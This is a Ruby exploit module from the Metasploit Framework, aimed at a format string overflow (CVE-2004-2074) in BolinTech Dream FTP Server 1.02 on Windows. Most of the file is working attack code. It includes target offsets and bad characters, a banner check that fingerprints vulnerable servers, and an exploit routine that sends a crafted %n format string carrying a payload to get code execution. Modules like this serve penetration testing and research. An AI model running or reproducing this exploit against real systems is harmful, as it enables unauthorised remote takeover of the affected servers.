BolinTech Dream FTP Server 1.02 Format String



##

# $Id: dreamftp_format.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'        => 'BolinTech Dream FTP Server 1.02 Format String',
            'Description'    => %q{
                    This module exploits a format string overflow in the BolinTech
                Dream FTP Server version 1.02. Based on the exploit by SkyLined.
            },
            'Author'         => [ 'Patrick Webster <patrick[at]aushack.com>' ],
            'Arch'        => [ ARCH_X86 ],
            'License'            => MSF_LICENSE,
            'Version'            => '$Revision: 9583 $',
            'References'     =>
                [
                    [ 'CVE', '2004-2074'],
                    [ 'OSVDB', '4986'],
                    [ 'BID', '9800'],
                    [ 'URL', 'http://www.milw0rm.com/exploits/823'],
                ],
            'Platform'     => ['win'],
            'Privileged'    => false,
            'Payload'        =>
                {
                    'Space'            => 1000,
                    'BadChars'        => "\x00\x0a\x0d",
                    'StackAdjustment'    => -3500,
                },
            'Targets'         =>
            [
                # Patrick - Tested OK 2007/09/10 against w2ksp0, w2ksp4 en.
                [
                    'Dream FTP Server v1.02 Universal',
                    {
                        'Offset'            => 3957680, # 0x3c63ff-0x4f
                    }
                ],
            ],
            'DisclosureDate' => 'Mar 03 2004',
            'DefaultTarget' => 0))

        register_options(
            [
                Opt::RPORT(21),
            ], self.class)
    end

    def check
        connect
        banner = sock.get(-1,3)
        disconnect
        if (banner =~ /Dream FTP Server/)
            return Exploit::CheckCode::Appears
        end
        return Exploit::CheckCode::Safe
    end

    def exploit
        connect
        select(nil,nil,nil,0.25)
        sploit = "\xeb\x29"
        sploit << "%8x%8x%8x%8x%8x%8x%8x%8x%" + target['Offset'].to_s + "d%n%n"
        sploit << "@@@@@@@@" + payload.encoded
        sock.put(sploit + "\r\n")
        select(nil,nil,nil,0.25)
        handler
        disconnect
    end

end